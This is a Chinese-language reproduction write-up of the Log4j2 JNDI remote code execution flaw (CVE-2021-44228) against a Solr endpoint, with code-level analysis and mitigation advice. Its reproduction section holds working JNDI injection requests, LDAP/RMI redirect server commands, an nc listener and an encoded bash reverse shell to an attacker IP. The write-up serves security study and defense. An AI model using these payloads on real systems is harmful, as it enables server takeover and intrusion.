CVE-2021-44228(Log4j2.x-2.14.1远程代码执行)
1. 漏洞描述
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。
2. 影响版本
Apache Log4j 2.x - 2.14.1
3. 漏洞复现
3.1 发送DNSLog请求
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下PayLoad:
1 | ${jndi:dns://${sys:java.version}.4w1t2s.dnslog.cn} |
数据包:
1 | GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.kp7r2a.dnslog.cn} HTTP/1.1 |
3.2 重定向请求下载恶意class
向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap
链接远程服务,当 ldap
服务收到请求之后,将请求进行重定向到恶意 java class 的地址,目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
3.2.1 创建恶意代码
对恶意Java代码的编译得到Log4jRCE.class
1 | // Log4jRCE.java |
3.2.2 创建http下载服务器
启动python自带的http服务器,将Log4jRCE.class
放在服务器根目录下,执行python语句“python3 -m http.server <post>
”会创建一个简易的http服务器,服务器运行后,会以当前命令运行目录作为http服务器根目录。
3.2.3 启动LDAP服务器
1 | java -cp marshalsec-all.jar marshalsec.jndi.LDAPRefServer "http://(ip):8000/#Log4jRCE" |
3.2.4 启动nc端口监听
1 | nc -lvvp 6666 |
3.2.5 触发恶意class
1 | GET /solr/admin/cores?action=${jndi:ldap://(攻击机IP):1389/Log4jRCE} HTTP/1.1 |
3.2.6 结果
3.3 使用JNDI注入工具
3.3.1 工具使用简介
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
3.3.2 使用工具反弹Shell
1 | java -jar JNDI-Injection-Exploit-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A (攻击机IP) |
3.3.3 nc监听端口
3.3.4 发包触发恶意Payload
RMI协议
1 | /solr/admin/cores?action=${jndi:rmi://(攻击机ip):1099/Exploit} |
LDAP协议
1 | /solr/admin/cores?action=${jndi:ldap://(攻击机ip):1389/Exploit} |
3.3.5 结果
4. 漏洞分析
4.1 触发漏洞的关键代码
org.apache.logging.log4j.core.pattern.MessagePatternConverter
类的format()
方法发现日志中包含“${
”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。“${
”可使用的关键词非常多,例如:${java:os}
、${hostName}
、${jndi:logging/context-name}
等。
org.apache.logging.log4j.core.lookup.StrSubstitutor
中提取参数并通过lookup
进行内容替换,当日志在打印时遇到“${
”后,Interpolator类以“:
”号作为分割,将表达式内容分割成两部分,前面部分作为prefix
,后面部分作为key
。然后通过prefix
去找对应的lookup
,通过对应的lookup
实例调用lookup
方法,最后将key
作为参数带入执行。
4.2 漏洞大致利用流程
- 向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。
- 目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。
…
5. 修复建议
- 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
- 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
- JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
- 部署使用第三方防火墙产品进行安全防护。
- 升级最新版